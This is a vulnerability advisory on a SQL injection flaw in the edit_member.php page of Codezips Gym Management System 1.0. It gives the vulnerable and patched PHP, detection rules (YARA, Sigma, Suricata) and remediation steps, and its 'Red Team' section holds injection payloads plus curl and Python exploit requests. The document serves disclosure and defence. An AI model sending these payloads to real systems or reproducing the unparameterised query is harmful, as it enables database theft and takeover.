CVE-2025-0541

Executive Summary

CVE-2025-0541 is a critical SQL injection vulnerability discovered in Codezips Gym Management System version 1.0. The flaw resides in the /dashboard/admin/edit_member.php file, where the name parameter is improperly sanitized, allowing an unauthenticated remote attacker to inject arbitrary SQL commands. This can lead to full database compromise, including extraction of sensitive user data, authentication bypass, and potential server takeover. The exploit has been publicly disclosed, increasing the risk of active exploitation. No official patch is available from the vendor, making immediate mitigation measures essential.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application. However, organizations using this software should treat it as a critical supply chain risk due to the lack of vendor support.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and a public exploit exists. Immediate action is required.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the edit_member.php script. The name parameter is directly concatenated into an SQL query without proper sanitization or parameterized queries. An attacker can inject SQL commands by manipulating the name parameter in a POST or GET request to the vulnerable endpoint.

Vulnerable Code Snippet (Conceptual):

$name = $_POST['name'];
$sql = "UPDATE members SET name='$name' WHERE id=$id";
mysqli_query($conn, $sql);

Attack Vector:

• Endpoint: /dashboard/admin/edit_member.php
• Parameter: name
• Method: POST/GET

Exploit Payload Example:

' OR '1'='1' -- -

This payload would modify the SQL query to:

UPDATE members SET name='' OR '1'='1' -- -' WHERE id=$id

This could update all rows or allow data extraction via UNION-based injection.

Vulnerable vs. Patched Code

Vulnerable Code (edit_member.php):

<?php
$name = $_POST['name'];
$id = $_POST['id'];
$sql = "UPDATE members SET name='$name' WHERE id=$id";
$result = mysqli_query($conn, $sql);
?>

Patched Code (Using Prepared Statements):

<?php
$name = $_POST['name'];
$id = $_POST['id'];
$stmt = $conn->prepare("UPDATE members SET name=? WHERE id=?");
$stmt->bind_param("si", $name, $id);
$stmt->execute();
?>

Explanation: The patched code uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user input.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Codezips Gym Management System 1.0
• Access to the /dashboard/admin/edit_member.php endpoint

Exploit Steps:

1. Identify the vulnerable parameter name in a POST request to edit_member.php.
2. Inject a UNION-based SQL payload to extract data.

Example Exploit (using cURL):

curl -X POST "http://target.com/dashboard/admin/edit_member.php" \
  -d "id=1&name=' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"

Automated Exploit (Python):

import requests

url = "http://target.com/dashboard/admin/edit_member.php"
payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
data = {"id": "1", "name": payload}
response = requests.post(url, data=data)
print(response.text)

Note: No Exploit-DB code was provided. The above is a generic example.

Blue Team (Defensive)

Detection:

• Monitor for SQL injection patterns in HTTP requests to edit_member.php.
• Look for unusual characters like single quotes ('), double dashes (--), or UNION keywords in the name parameter.

Mitigation:

• Immediately apply input validation and parameterized queries.
• Use a Web Application Firewall (WAF) to block SQL injection attempts.
• Restrict access to the admin panel via IP whitelisting or VPN.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /dashboard/admin/edit_member.php with suspicious name parameter values containing SQL keywords.
• Outbound database queries from the web server to the database server with abnormal patterns.

File IOCs:

• Modified edit_member.php file (if attacker uploads a webshell).
• Suspicious files in the /dashboard/admin/ directory.

Log IOCs:

• Web server logs showing 400 or 500 errors from edit_member.php.
• Database logs showing unexpected queries with UNION, OR, or -- characters.

Detection Engineering

YARA Rule

rule CVE_2025_0541_SQLi_Detect {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-0541"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-0541"
    strings:
        $sqli1 = "edit_member.php" nocase
        $sqli2 = "name=" nocase
        $sqli3 = "' OR '" nocase
        $sqli4 = "UNION SELECT" nocase
        $sqli5 = "-- -" nocase
    condition:
        all of ($sqli1, $sqli2) and 1 of ($sqli3, $sqli4, $sqli5)
}

Sigma Rule

title: SQL Injection Attempt on edit_member.php
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting CVE-2025-0541
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/dashboard/admin/edit_member.php'
        cs-uri-query|contains: 'name='
    keywords:
        - "' OR '"
        - "UNION SELECT"
        - "-- -"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0541 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/dashboard/admin/edit_member.php"; http_uri; content:"name="; http_client_body; pcre:"/(\x27 OR \x27|UNION SELECT|-- -)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint by removing or renaming edit_member.php until a patch is applied.
2. Implement input validation – whitelist allowed characters for the name parameter (e.g., only letters and spaces).
3. Use parameterized queries – rewrite the database interaction using prepared statements.
4. Apply a WAF rule to block SQL injection patterns.

Long-Term Fix:

• Upgrade to a patched version of the software if the vendor releases one.
• Conduct a full security audit of the application.
• Implement a Content Security Policy (CSP) and other security headers.

Workaround:

• Restrict access to the admin panel using .htaccess or firewall rules to trusted IP addresses only.

Valters IT